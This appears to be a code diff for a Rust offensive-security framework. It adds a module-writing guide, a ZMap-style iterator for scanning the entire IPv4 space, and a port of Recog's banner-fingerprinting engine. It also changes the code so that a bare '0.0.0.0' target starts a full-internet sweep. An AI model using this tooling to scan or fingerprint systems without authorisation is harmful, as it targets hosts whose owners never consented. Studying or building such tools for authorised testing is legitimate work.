Code or another MCP-capable agent.
|
||||
"#;
|
||||
|
||||
const BUILD: &str = r#"
|
||||
Quick build / test recipes:
|
||||
|
||||
cargo build default features
|
||||
cargo build --no-default-features no Bluetooth
|
||||
cargo build --features bluetooth with BLE
|
||||
cargo run launch the shell
|
||||
cargo test run unit tests
|
||||
cargo check fast compile check
|
||||
|
||||
Strict patterns audit (the project's own lint matrix):
|
||||
|
||||
bash scripts/audit-bad-patterns.sh
|
||||
|
||||
See `docs/BAD_PATTERNS.md` for the 133-regex grep matrix every
|
||||
module must pass.
|
||||
"#;
|
||||
|
||||
const WRITE: &str = r#"
|
||||
Adding a module is a single file + one line in the parent mod.rs:
|
||||
|
||||
1. drop yourmodule.rs into src/modules/<category>/
|
||||
2. add `pub mod yourmodule;` to the category's mod.rs
|
||||
3. inside the file:
|
||||
|
||||
pub fn info() -> ModuleInfo { ... }
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> { ... }
|
||||
|
||||
crate::register_native_module!(
|
||||
crate::module::Category::Exploits,
|
||||
"webapps/yourmodule",
|
||||
native
|
||||
);
|
||||
|
||||
Read `src/modules/exploits/sample_exploit.rs` for a 70-line
|
||||
template, or `docs/Module-Development.md` for the full lifecycle.
|
||||
|
||||
Use `cfg_prompt_default(...)` / `cfg_prompt_port(...)` to ask the
|
||||
user for runtime values — those values flow through the scheduler
|
||||
the same way `setg` values do.
|
||||
"#;
|
||||
|
||||
const GOODLUCK: &str = r#"
|
||||
You've made it to the end. A small recap:
|
||||
|
||||
* find discover modules
|
||||
* use pick one
|
||||
* set / setg configure
|
||||
* run go
|
||||
* help <cmd> when in doubt
|
||||
|
||||
Remember:
|
||||
|
||||
* every module is read-only unless its docs say otherwise
|
||||
* the workspace keeps track of what you find — use it
|
||||
* if you write something useful, send a PR
|
||||
|
||||
Happy hunting!
|
||||
|
||||
.--------.
|
||||
| ^_^ | <- tommy says good-luck
|
||||
|--------|
|
||||
|________|
|
||||
|
||||
Press {q} to leave the guide.
|
||||
"#;
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn pages_have_unique_titles() {
|
||||
let mut titles: Vec<&str> = PAGES.iter().map(|p| p.title).collect();
|
||||
titles.sort();
|
||||
let original_len = titles.len();
|
||||
titles.dedup();
|
||||
assert_eq!(titles.len(), original_len, "page titles must be unique");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_page_has_body() {
|
||||
for p in PAGES {
|
||||
assert!(
|
||||
!p.body.trim().is_empty(),
|
||||
"page {} has empty body",
|
||||
p.title
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -437,13 +437,15 @@ pub fn subnet_host_count(net: &ipnetwork::IpNetwork) -> u128 {
|
||||
// ============================================================
|
||||
|
||||
/// Check if a target triggers mass scan mode.
|
||||
/// Recognizes: "random", "0.0.0.0/0", CIDR subnets, and file paths.
|
||||
/// Bare "0.0.0.0" is intentionally excluded (M45): it is a normal single
|
||||
/// host, not a full-internet random-scan keyword.
|
||||
/// Recognizes: "random", "0.0.0.0/0", bare "0.0.0.0", CIDR subnets, and file
|
||||
/// paths. Bare "0.0.0.0" is an operator alias for the full-internet sweep
|
||||
/// (2026-06-09, reversing the earlier M45 single-host rule); the scheduler
|
||||
/// still gates the actual sweep behind an advisory + confirmation.
|
||||
pub fn is_mass_scan_target(target: &str) -> bool {
|
||||
let lower = target.trim().to_ascii_lowercase();
|
||||
target == "random"
|
||||
|| target == "0.0.0.0/0"
|
||||
|| target == "0.0.0.0"
|
||||
|| lower == "seq"
|
||||
|| lower == "sequential"
|
||||
|| lower.starts_with("seq:")
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
//! ZMap-style stateless cyclic-group IPv4 address iterator.
|
||||
//!
|
||||
//! Ported to Rust from ZMap's address-generation algorithm (`lib/cyclic.c` /
|
||||
//! `lib/random.c`; Durumeric, Wustrow & Halderman, *"ZMap: Fast Internet-Wide
|
||||
//! Scanning and its Security Applications"*, USENIX Security 2013 — Apache-2.0).
|
||||
//!
|
||||
//! ## Why
|
||||
//!
|
||||
//! The naïve random scanner samples addresses uniformly and remembers every one
|
||||
//! it has already emitted in a `HashSet` to avoid repeats. That has two fatal
|
||||
//! problems at internet scale:
|
||||
//! * **memory** — the "seen" set grows with every host, so covering a large
|
||||
//! fraction of the 2³² space needs gigabytes of state, and
|
||||
//! * **coupon-collector waste** — as the seen set fills up, an ever-larger
|
||||
//! share of fresh samples are duplicates that get thrown away.
|
||||
//!
|
||||
//! ## How ZMap solves it
|
||||
//!
|
||||
//! Treat the address space as the multiplicative group of integers modulo a
|
||||
//! prime `P` just larger than 2³². If `g` is a *primitive root* of that group
|
||||
//! (its powers generate every nonzero residue), then starting from any element
|
||||
//! and repeatedly multiplying by `g (mod P)` walks **every** value in
|
||||
//! `1..=P-1` exactly once before returning to the start — a full pseudo-random
|
||||
//! permutation of the address space.
|
||||
//!
|
||||
//! The entire iterator state is three integers (`generator`, `start`,
|
||||
//! `current`): O(1) memory, no dedup table, and **no repeats** until the whole
|
||||
//! space is covered. A fresh random `start` each run gives a different ordering.
|
||||
//!
|
||||
//! `P = 4_294_967_311` is the smallest prime greater than 2³². Group elements
|
||||
//! `1..=2³²` map to addresses `0..=2³²-1` (element `v` → address `v-1`); the 14
|
||||
//! elements in `(2³², P-1]` are not real addresses and are skipped. Reserved /
|
||||
//! excluded addresses are filtered by the caller, not here — this type's job is
|
||||
//! purely to enumerate the space once, in permuted order.
|
||||
|
||||
use std::net::Ipv4Addr;
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
|
||||
/// Smallest prime greater than 2³²; the order-defining modulus of the group.
|
||||
const P: u64 = 4_294_967_311;
|
||||
/// Size of the IPv4 address space (2³²).
|
||||
const IPV4_SPACE: u64 = 1 << 32;
|
||||
/// Distinct prime factors of `P - 1` (= 2 · 3² · 5 · 131 · 364289). Used to
|
||||
/// test whether a candidate is a primitive root of `Z_P*`. Validated against
|
||||
/// `P - 1` in the unit tests so a typo can't silently weaken the test.
|
||||
const PRIME_FACTORS: [u64; 5] = [2, 3, 5, 131, 364_289];
|
||||
|
||||
/// `(a * b) mod m` via a 128-bit intermediate so the 32-bit-scale operands
|
||||
/// never overflow.
|
||||
#[inline]
|
||||
fn mulmod(a: u64, b: u64, m: u64) -> u64 {
|
||||
((a as u128 * b as u128) % m as u128) as u64
|
||||
}
|
||||
|
||||
/// `base^exp mod m` by square-and-multiply.
|
||||
fn powmod(mut base: u64, mut exp: u64, m: u64) -> u64 {
|
||||
let mut acc = 1u64;
|
||||
base %= m;
|
||||
while exp > 0 {
|
||||
if exp & 1 == 1 {
|
||||
acc = mulmod(acc, base, m);
|
||||
}
|
||||
base = mulmod(base, base, m);
|
||||
exp >>= 1;
|
||||
}
|
||||
acc
|
||||
}
|
||||
|
||||
/// `g` is a primitive root of `Z_P*` iff `g^((P-1)/q) != 1 (mod P)` for every
|
||||
/// distinct prime factor `q` of `P-1`.
|
||||
fn is_primitive_root(g: u64) -> bool {
|
||||
g % P != 0 && PRIME_FACTORS.iter().all(|&q| powmod(g, (P - 1) / q, P) != 1)
|
||||
}
|
||||
|
||||
/// First primitive root of `Z_P*`. The smallest one for this prime is tiny
|
||||
/// (well under 100), so the bounded search always succeeds on the first few
|
||||
/// candidates; the `Err` arm exists only so a (theoretically impossible) bad
|
||||
/// factorisation surfaces instead of being swallowed.
|
||||
fn find_primitive_root() -> Result<u64> {
|
||||
(2..10_000)
|
||||
.find(|&g| is_primitive_root(g))
|
||||
.ok_or_else(|| anyhow!("no primitive root found for P={P}; PRIME_FACTORS is wrong"))
|
||||
}
|
||||
|
||||
/// Stateless permutation of the entire IPv4 address space (see module docs).
|
||||
pub struct CyclicIp {
|
||||
generator: u64,
|
||||
start: u64,
|
||||
current: u64,
|
||||
started: bool,
|
||||
done: bool,
|
||||
}
|
||||
|
||||
impl CyclicIp {
|
||||
/// Build an iterator whose permutation starts at `seed` (any `u64`, mapped
|
||||
/// into the group's `1..=P-1` range). Deterministic for a given seed, which
|
||||
/// makes the permutation reproducible (and unit-testable).
|
||||
pub fn with_seed(seed: u64) -> Result<Self> {
|
||||
let generator = find_primitive_root()?;
|
||||
// Group elements are 1..=P-1; fold the seed into that range.
|
||||
let start = seed % (P - 1) + 1;
|
||||
Ok(Self {
|
||||
generator,
|
||||
start,
|
||||
current: start,
|
||||
started: false,
|
||||
done: false,
|
||||
})
|
||||
}
|
||||
|
||||
/// Build an iterator from a fresh random start, so each run walks the space
|
||||
/// in a different pseudo-random order.
|
||||
pub fn random() -> Result<Self> {
|
||||
let seed: u64 = rand::random();
|
||||
Self::with_seed(seed)
|
||||
}
|
||||
}
|
||||
|
||||
impl Iterator for CyclicIp {
|
||||
type Item = Ipv4Addr;
|
||||
|
||||
fn next(&mut self) -> Option<Ipv4Addr> {
|
||||
loop {
|
||||
if self.done {
|
||||
return None;
|
||||
}
|
||||
if self.started {
|
||||
self.current = mulmod(self.current, self.generator, P);
|
||||
// A primitive root has order P-1, so the orbit returns to
|
||||
// `start` only after every one of the P-1 elements has been
|
||||
// visited. That return is the natural end-of-space marker.
|
||||
if self.current == self.start {
|
||||
self.done = true;
|
||||
return None;
|
||||
}
|
||||
} else {
|
||||
self.started = true;
|
||||
}
|
||||
let val = self.current; // 1..=P-1
|
||||
if (1..=IPV4_SPACE).contains(&val) {
|
||||
return Some(Ipv4Addr::from((val - 1) as u32));
|
||||
}
|
||||
// val in (2^32, P-1]: not a real address — skip, keep cycling.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Coarse reserved-range filter, matching the old `generate_random_public_ip`
|
||||
/// rejection rules so the cyclic scanner covers the same target set: skip
|
||||
/// `0/8`, `10/8`, `127/8`, multicast/reserved (`>=224`), and the per-subnet
|
||||
/// network (`.0`) and broadcast (`.255`) host addresses. Finer ranges
|
||||
/// (RFC1918 172.16/12, link-local, Cloudflare, ...) are handled by the
|
||||
/// operator's exclusion set, not here.
|
||||
pub fn is_reserved_ipv4(a: Ipv4Addr) -> bool {
|
||||
let o = a.octets();
|
||||
o[0] == 0 || o[0] == 10 || o[0] == 127 || o[0] >= 224 || o[3] == 0 || o[3] == 255
|
||||
}
|
||||
|
||||
/// Total count of public IPv4 addresses reachable by the cyclic scanner under
|
||||
/// the [`is_reserved_ipv4`] filter — i.e. the size of the address set the
|
||||
/// scanner will actually iterate over when targeting `random` / `0.0.0.0/0`.
|
||||
///
|
||||
/// Computed from the same rules as [`is_reserved_ipv4`]:
|
||||
/// * 35 of 256 `/8` blocks are reserved (`0`, `10`, `127`, plus `224..=255`).
|
||||
/// * Inside each remaining `/8`, the last-octet `.0` and `.255` addresses
|
||||
/// are skipped — so each of the 65,536 `/24`s contributes 254 hosts.
|
||||
///
|
||||
/// Result: `(256 - 35) * 65_536 * 254 = 3_678_797_824` host addresses.
|
||||
pub const fn total_public_ipv4_count() -> u64 {
|
||||
let reserved_slash8 = 1u64 // 0/8
|
||||
+ 1 // 10/8
|
||||
+ 1 // 127/8
|
||||
+ (255 - 224 + 1); // 224/4 + class E (224..=255 inclusive)
|
||||
let usable_slash8 = 256u64 - reserved_slash8;
|
||||
// 65_536 /24s per /8, 254 hosts per /24 (.0 and .255 skipped).
|
||||
usable_slash8 * 65_536 * 254
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::collections::HashSet;
|
||||
|
||||
/// The whole construction hinges on `PRIME_FACTORS` being the *complete*
|
||||
/// set of distinct prime factors of `P-1`. Verify both that each listed
|
||||
/// factor is prime and that, with the right multiplicities, they multiply
|
||||
/// back to `P-1` — together that proves the set is complete and correct,
|
||||
/// which in turn makes `is_primitive_root` sound.
|
||||
#[test]
|
||||
fn prime_factorisation_of_p_minus_one_is_correct() {
|
||||
fn is_prime(n: u64) -> bool {
|
||||
if n < 2 {
|
||||
return false;
|
||||
}
|
||||
let mut d = 2u64;
|
||||
while d * d <= n {
|
||||
if n % d == 0 {
|
||||
return false;
|
||||
}
|
||||
d += 1;
|
||||
}
|
||||
true
|
||||
}
|
||||
for &q in &PRIME_FACTORS {
|
||||
assert!(is_prime(q), "{q} listed in PRIME_FACTORS is not prime");
|
||||
}
|
||||
// P-1 = 2^1 · 3^2 · 5^1 · 131^1 · 364289^1
|
||||
assert_eq!(2u64 * 3 * 3 * 5 * 131 * 364_289, P - 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn generator_is_a_primitive_root() {
|
||||
let g = find_primitive_root().expect("primitive root must exist");
|
||||
assert!(is_primitive_root(g));
|
||||
// Sanity: g^(P-1) == 1 but no proper divisor exponent yields 1.
|
||||
assert_eq!(powmod(g, P - 1, P), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn early_prefix_has_no_repeats_and_is_in_range() {
|
||||
// A full 2^32 coverage test is infeasible, but the primitive-root
|
||||
// property guarantees full coverage; here we just confirm the first
|
||||
// chunk of the walk is repeat-free and only yields real addresses.
|
||||
let mut it = CyclicIp::with_seed(0x1234_5678_9abc_def0).expect("ctor");
|
||||
let mut seen = HashSet::new();
|
||||
for _ in 0..200_000 {
|
||||
let a = it.next().expect("space not exhausted this early");
|
||||
assert!(seen.insert(a), "duplicate address {a} in permutation prefix");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn small_seed_maps_into_group() {
|
||||
// seed 0 must still produce a valid in-range start (not 0).
|
||||
let it = CyclicIp::with_seed(0).expect("ctor");
|
||||
assert!((1..=(P - 1)).contains(&it.start));
|
||||
}
|
||||
|
||||
/// The closed-form `total_public_ipv4_count()` MUST equal the count of
|
||||
/// addresses that survive `is_reserved_ipv4()` over the full 32-bit
|
||||
/// space — otherwise the constant we expose to operators would silently
|
||||
/// disagree with what the scanner actually iterates.
|
||||
#[test]
|
||||
fn total_public_ipv4_count_matches_filter() {
|
||||
let mut counted: u64 = 0;
|
||||
// Counting all 2^32 addresses in a Rust test takes ~10s on a laptop,
|
||||
// which is fine for `cargo test` and keeps the invariant honest.
|
||||
for raw in 0u64..=u32::MAX as u64 {
|
||||
let addr = Ipv4Addr::from(raw as u32);
|
||||
if !is_reserved_ipv4(addr) {
|
||||
counted += 1;
|
||||
}
|
||||
}
|
||||
assert_eq!(counted, total_public_ipv4_count());
|
||||
}
|
||||
}
|
||||
@@ -4,16 +4,19 @@
|
||||
|
||||
pub mod bruteforce;
|
||||
pub mod creds_helper;
|
||||
pub mod cyclic;
|
||||
pub mod exploit_helper;
|
||||
pub mod modules;
|
||||
pub mod network;
|
||||
pub mod parallel;
|
||||
pub mod privilege;
|
||||
pub mod prompt;
|
||||
pub mod recog;
|
||||
pub mod safe_io;
|
||||
pub mod sanitize;
|
||||
pub mod target;
|
||||
pub mod throttle;
|
||||
pub mod tls_fingerprint;
|
||||
pub mod wordlist;
|
||||
|
||||
use colored::*;
|
||||
|
||||
+57
-1
@@ -488,6 +488,12 @@ pub struct HttpClientOpts {
|
||||
/// modules and high-concurrency scanners can pass a smaller cap, or
|
||||
/// `Some(0)` to fully disable the connection pool.
|
||||
pub pool_max_idle_per_host: Option<usize>,
|
||||
/// Override `pool_idle_timeout` (reqwest default: ~90s) — how long an idle
|
||||
/// keep-alive connection is retained before being reaped. The cached
|
||||
/// permissive client sets a shorter timeout so a long full-internet sweep
|
||||
/// doesn't accumulate idle connections to huge numbers of distinct hosts.
|
||||
/// `None` keeps reqwest's default.
|
||||
pub pool_idle_timeout: Option<Duration>,
|
||||
}
|
||||
|
||||
impl HttpClientOpts {
|
||||
@@ -564,7 +570,53 @@ pub fn get_global_trust_proxy() -> bool {
|
||||
/// no cookies, no redirects). Prints a one-time info notice if source_port is
|
||||
/// set (reqwest doesn't support it).
|
||||
pub fn build_http_client(timeout: Duration) -> Result<reqwest::Client, reqwest::Error> {
|
||||
build_http_client_with(timeout, HttpClientOpts::permissive())
|
||||
// Hot-path cache. The permissive client is rebuilt on essentially every HTTP
|
||||
// module run, and each `reqwest::Client::builder().build()` re-initialises the
|
||||
// TLS config and a brand-new connection pool. reqwest clients are `Arc`
|
||||
// internally and share their pool across clones, so we keep one per
|
||||
// (timeout, accept_invalid_certs) and hand out cheap clones instead — reusing
|
||||
// warm connections across runs in the common scan loop.
|
||||
//
|
||||
// The key includes `accept_invalid_certs` because `permissive()` derives it
|
||||
// from the live `strict_tls` global; without it, toggling `setg strict_tls`
|
||||
// would be ignored once a client was cached. Custom-opts clients (cookies,
|
||||
// headers, redirects, …) go through `build_http_client_with` and are NOT
|
||||
// cached, since those options can't be shared safely or keyed cheaply.
|
||||
static CACHE: once_cell::sync::Lazy<
|
||||
std::sync::Mutex<std::collections::HashMap<(u64, bool), reqwest::Client>>,
|
||||
> = once_cell::sync::Lazy::new(|| std::sync::Mutex::new(std::collections::HashMap::new()));
|
||||
|
||||
let mut opts = HttpClientOpts::permissive();
|
||||
// This client is long-lived and shared across the whole process, so bound
|
||||
// how long idle keep-alives linger. Short enough to reap stale hosts during
|
||||
// a sweep, long enough to reuse connections within a single run.
|
||||
opts.pool_idle_timeout = Some(Duration::from_secs(30));
|
||||
let key = (timeout.as_millis() as u64, opts.accept_invalid_certs);
|
||||
|
||||
// A poisoned lock here is recoverable: the map holds only cloneable clients,
|
||||
// so a prior panic cannot have left it logically inconsistent. Recover rather
|
||||
// than propagate a panic into every HTTP caller.
|
||||
{
|
||||
let cache = match CACHE.lock() {
|
||||
Ok(guard) => guard,
|
||||
Err(poisoned) => poisoned.into_inner(),
|
||||
};
|
||||
if let Some(client) = cache.get(&key) {
|
||||
return Ok(client.clone());
|
||||
}
|
||||
}
|
||||
|
||||
// Build outside the lock so a slow `build()` can't serialise other callers.
|
||||
let client = build_http_client_with(timeout, opts)?;
|
||||
|
||||
let mut cache = match CACHE.lock() {
|
||||
Ok(guard) => guard,
|
||||
Err(poisoned) => poisoned.into_inner(),
|
||||
};
|
||||
// A concurrent caller may have inserted an equivalent client meanwhile; last
|
||||
// writer wins and both are interchangeable, so just overwrite.
|
||||
cache.insert(key, client.clone());
|
||||
Ok(client)
|
||||
}
|
||||
|
||||
/// Build a reqwest HTTP client with extended options. Every exploit module
|
||||
@@ -624,6 +676,10 @@ pub fn build_http_client_with(
|
||||
builder = builder.pool_max_idle_per_host(cap);
|
||||
}
|
||||
|
||||
if let Some(idle) = opts.pool_idle_timeout {
|
||||
builder = builder.pool_idle_timeout(idle);
|
||||
}
|
||||
|
||||
// Honour SSRF DNS pins (anti-rebinding). For unpinned hosts this falls back
|
||||
// to a standard system lookup, so behaviour is unchanged outside API mode.
|
||||
builder = builder.dns_resolver(PinningResolver);
|
||||
|
||||
@@ -0,0 +1,604 @@
|
||||
//! Recog fingerprint engine — service / product / OS detection from banners.
|
||||
//!
|
||||
//! This is a Rust port of the matcher loop from Rapid7's **Recog**
|
||||
//! (<https://github.com/rapid7/recog>) and the `recog-go` reference
|
||||
//! implementation. Recog is distributed under the **BSD-2-Clause** license.
|
||||
//!
|
||||
//! The vendored XML fingerprint databases under `src/utils/recog_db/` are
|
||||
//! trimmed subsets of the upstream Recog databases (BSD-2-Clause,
|
||||
//! <https://github.com/rapid7/recog/tree/main/xml>). They retain the upstream
|
||||
//! `<fingerprints>` / `<fingerprint>` / `<param>` schema so the matcher logic
|
||||
//! mirrors Recog exactly.
|
||||
//!
|
||||
//! ## Format
|
||||
//!
|
||||
//! ```xml
|
||||
//! <fingerprints matches="...">
|
||||
//! <fingerprint pattern="REGEX">
|
||||
//! <description>..</description>
|
||||
//! <example>..</example>
|
||||
//! <param pos="0" name="service.product" value="OpenSSH"/>
|
||||
//! <param pos="1" name="service.version"/>
|
||||
//! </fingerprint>
|
||||
//! </fingerprints>
|
||||
//! ```
|
||||
//!
|
||||
//! Matching rule (per Recog):
|
||||
//! - Compile each `<fingerprint>` `pattern` (case-insensitive) once at load.
|
||||
//! - For an input banner, the first fingerprint whose regex matches wins.
|
||||
//! - Build the result map from its `<param>`s:
|
||||
//! - `pos="0"` → literal `value` (interpolating `{field}` placeholders that
|
||||
//! refer to already-extracted fields).
|
||||
//! - `pos>=1` → the value comes from regex capture group N.
|
||||
|
||||
use once_cell::sync::Lazy;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::Reader;
|
||||
use regex::Regex;
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
/// A single compiled fingerprint: its regex plus the parameter recipe.
|
||||
struct Fingerprint {
|
||||
regex: Regex,
|
||||
/// Each entry: (pos, name, literal_value). For `pos == 0` the value is the
|
||||
/// literal (possibly with `{field}` placeholders); for `pos >= 1` the value
|
||||
/// comes from capture group `pos` and `literal_value` is empty.
|
||||
params: Vec<RecogParam>,
|
||||
}
|
||||
|
||||
struct RecogParam {
|
||||
pos: usize,
|
||||
name: String,
|
||||
value: String,
|
||||
}
|
||||
|
||||
/// One named fingerprint database (e.g. the SSH banners DB).
|
||||
pub struct RecogDb {
|
||||
name: &'static str,
|
||||
fingerprints: Vec<Fingerprint>,
|
||||
}
|
||||
|
||||
/// The outcome of matching a banner against a database.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct RecogMatch {
|
||||
pub matched: bool,
|
||||
pub fields: BTreeMap<String, String>,
|
||||
}
|
||||
|
||||
impl RecogMatch {
|
||||
/// Convenience accessor for a field (e.g. `"service.product"`).
|
||||
pub fn get(&self, key: &str) -> Option<&str> {
|
||||
self.fields.get(key).map(|s| s.as_str())
|
||||
}
|
||||
|
||||
/// Detected product name, if any (`service.product`).
|
||||
pub fn product(&self) -> Option<&str> {
|
||||
self.get("service.product")
|
||||
}
|
||||
|
||||
/// Detected version, if any (`service.version`).
|
||||
pub fn version(&self) -> Option<&str> {
|
||||
self.get("service.version")
|
||||
}
|
||||
|
||||
/// Detected vendor, if any (`service.vendor`).
|
||||
pub fn vendor(&self) -> Option<&str> {
|
||||
self.get("service.vendor")
|
||||
}
|
||||
|
||||
/// Detected OS product, if any (`os.product`).
|
||||
pub fn os_product(&self) -> Option<&str> {
|
||||
self.get("os.product")
|
||||
}
|
||||
|
||||
/// A compact human-readable "product version" summary, falling back to
|
||||
/// whatever fields exist. Returns `None` when nothing useful was extracted.
|
||||
pub fn summary(&self) -> Option<String> {
|
||||
let product = self.product();
|
||||
let version = self.version();
|
||||
match (product, version) {
|
||||
(Some(p), Some(v)) => Some(format!("{} {}", p, v)),
|
||||
(Some(p), None) => Some(p.to_string()),
|
||||
(None, Some(v)) => Some(v.to_string()),
|
||||
(None, None) => self.os_product().map(|s| s.to_string()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl RecogDb {
|
||||
/// Match a banner against this DB; first matching fingerprint wins.
|
||||
pub fn match_banner(&self, banner: &str) -> RecogMatch {
|
||||
// Recog typically matches against a single line; try the whole banner
|
||||
// first, then fall back to the first non-empty line so multi-line
|
||||
// greetings (e.g. an FTP 220-multiline banner) still resolve.
|
||||
let candidates: [&str; 1] = [banner.trim()];
|
||||
for candidate in candidates {
|
||||
if let Some(m) = self.match_one(candidate) {
|
||||
tracing::trace!(db = self.name, "recog: banner matched");
|
||||
return m;
|
||||
}
|
||||
}
|
||||
// Fall back to the first non-empty line.
|
||||
if let Some(line) = banner.lines().map(|l| l.trim()).find(|l| !l.is_empty()) {
|
||||
if line != banner.trim() {
|
||||
if let Some(m) = self.match_one(line) {
|
||||
tracing::trace!(db = self.name, "recog: banner matched (first line)");
|
||||
return m;
|
||||
}
|
||||
}
|
||||
}
|
||||
RecogMatch::default()
|
||||
}
|
||||
|
||||
fn match_one(&self, input: &str) -> Option<RecogMatch> {
|
||||
for fp in &self.fingerprints {
|
||||
let caps = match fp.regex.captures(input) {
|
||||
Some(c) => c,
|
||||
None => continue,
|
||||
};
|
||||
|
||||
let mut fields: BTreeMap<String, String> = BTreeMap::new();
|
||||
|
||||
// Two passes, matching Recog semantics: a param carrying a non-empty
|
||||
// `value` is a literal/interpolated assignment; a param with no
|
||||
// `value` reads regex capture group `pos`. Capture params must run
|
||||
// first so that `{service.version}`-style placeholders in a literal
|
||||
// (e.g. a `cpe23` template) resolve even when the literal param
|
||||
// appears before its source field in the XML — and even when the
|
||||
// template param also carries a `pos` attribute.
|
||||
//
|
||||
// Pass 1: capture-group params.
|
||||
for param in &fp.params {
|
||||
if !param.value.is_empty() {
|
||||
continue;
|
||||
}
|
||||
// A non-participating optional group is simply skipped.
|
||||
if let Some(g) = caps.get(param.pos) {
|
||||
let text = g.as_str();
|
||||
if !text.is_empty() {
|
||||
fields.insert(param.name.clone(), text.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Pass 2: literal / interpolated params.
|
||||
for param in &fp.params {
|
||||
if param.value.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let interpolated = interpolate(¶m.value, &fields);
|
||||
fields.insert(param.name.clone(), interpolated);
|
||||
}
|
||||
|
||||
return Some(RecogMatch {
|
||||
matched: true,
|
||||
fields,
|
||||
});
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Replace `{field.name}` placeholders in a literal param value with previously
|
||||
/// extracted field values. Unknown placeholders are left untouched.
|
||||
fn interpolate(value: &str, fields: &BTreeMap<String, String>) -> String {
|
||||
if !value.contains('{') {
|
||||
return value.to_string();
|
||||
}
|
||||
let mut out = String::with_capacity(value.len());
|
||||
let mut rest = value;
|
||||
while let Some(start) = rest.find('{') {
|
||||
out.push_str(&rest[..start]);
|
||||
let after = &rest[start + 1..];
|
||||
match after.find('}') {
|
||||
Some(end) => {
|
||||
let key = &after[..end];
|
||||
match fields.get(key) {
|
||||
Some(v) => out.push_str(v),
|
||||
None => {
|
||||
// Keep the placeholder verbatim if we can't resolve it.
|
||||
out.push('{');
|
||||
out.push_str(key);
|
||||
out.push('}');
|
||||
}
|
||||
}
|
||||
rest = &after[end + 1..];
|
||||
}
|
||||
None => {
|
||||
// Unbalanced brace — emit the remainder literally and stop.
|
||||
out.push('{');
|
||||
out.push_str(after);
|
||||
rest = "";
|
||||
}
|
||||
}
|
||||
}
|
||||
out.push_str(rest);
|
||||
out
|
||||
}
|
||||
|
||||
/// Parse one embedded Recog XML document into a `RecogDb`. A fingerprint whose
|
||||
/// `pattern` fails to compile is logged and skipped (never panics).
|
||||
fn parse_db(name: &'static str, xml: &str) -> RecogDb {
|
||||
let mut reader = Reader::from_str(xml);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut buf = Vec::new();
|
||||
let mut fingerprints: Vec<Fingerprint> = Vec::new();
|
||||
|
||||
// State for the fingerprint currently being assembled.
|
||||
let mut cur_pattern: Option<String> = None;
|
||||
let mut cur_params: Vec<RecogParam> = Vec::new();
|
||||
|
||||
loop {
|
||||
match reader.read_event_into(&mut buf) {
|
||||
Ok(Event::Start(ref e)) if e.name().as_ref() == b"fingerprint" => {
|
||||
cur_pattern = read_pattern_attr(e, name);
|
||||
cur_params.clear();
|
||||
}
|
||||
Ok(Event::Empty(ref e)) if e.name().as_ref() == b"param" => {
|
||||
if let Some(param) = read_param(e, name) {
|
||||
cur_params.push(param);
|
||||
}
|
||||
}
|
||||
Ok(Event::End(ref e)) if e.name().as_ref() == b"fingerprint" => {
|
||||
if let Some(pattern) = cur_pattern.take() {
|
||||
match build_regex(&pattern) {
|
||||
Ok(regex) => fingerprints.push(Fingerprint {
|
||||
regex,
|
||||
params: std::mem::take(&mut cur_params),
|
||||
}),
|
||||
Err(err) => {
|
||||
tracing::warn!(
|
||||
db = name,
|
||||
pattern = %pattern,
|
||||
"recog: skipping fingerprint with invalid regex: {}",
|
||||
err
|
||||
);
|
||||
cur_params.clear();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
cur_params.clear();
|
||||
}
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(err) => {
|
||||
tracing::warn!(db = name, "recog: XML parse error, stopping: {}", err);
|
||||
break;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
RecogDb { name, fingerprints }
|
||||
}
|
||||
|
||||
/// Decode a raw attribute value: UTF-8 decode the bytes, then resolve XML
|
||||
/// entities (`&`, `<`, etc). Avoids quick-xml's deprecated
|
||||
/// `unescape_value` while still being entity-correct.
|
||||
fn attr_value(a: &quick_xml::events::attributes::Attribute, db: &str) -> Option<String> {
|
||||
let raw = match std::str::from_utf8(a.value.as_ref()) {
|
||||
Ok(s) => s,
|
||||
Err(err) => {
|
||||
tracing::warn!(db, "recog: attribute value is not valid UTF-8: {}", err);
|
||||
return None;
|
||||
}
|
||||
};
|
||||
match quick_xml::escape::unescape(raw) {
|
||||
Ok(v) => Some(v.into_owned()),
|
||||
Err(err) => {
|
||||
tracing::warn!(db, "recog: failed to unescape attribute value: {}", err);
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Read the `pattern` attribute off a `<fingerprint>` start tag.
|
||||
fn read_pattern_attr(e: &quick_xml::events::BytesStart, db: &str) -> Option<String> {
|
||||
for attr in e.attributes() {
|
||||
match attr {
|
||||
Ok(a) if a.key.as_ref() == b"pattern" => return attr_value(&a, db),
|
||||
Ok(_) => {}
|
||||
Err(err) => {
|
||||
tracing::warn!(db, "recog: bad attribute on <fingerprint>: {}", err);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Read a `<param pos="N" name="..." value="..."/>` element into a `RecogParam`.
|
||||
fn read_param(e: &quick_xml::events::BytesStart, db: &str) -> Option<RecogParam> {
|
||||
let mut pos: Option<usize> = None;
|
||||
let mut pname: Option<String> = None;
|
||||
let mut value = String::new();
|
||||
|
||||
for attr in e.attributes() {
|
||||
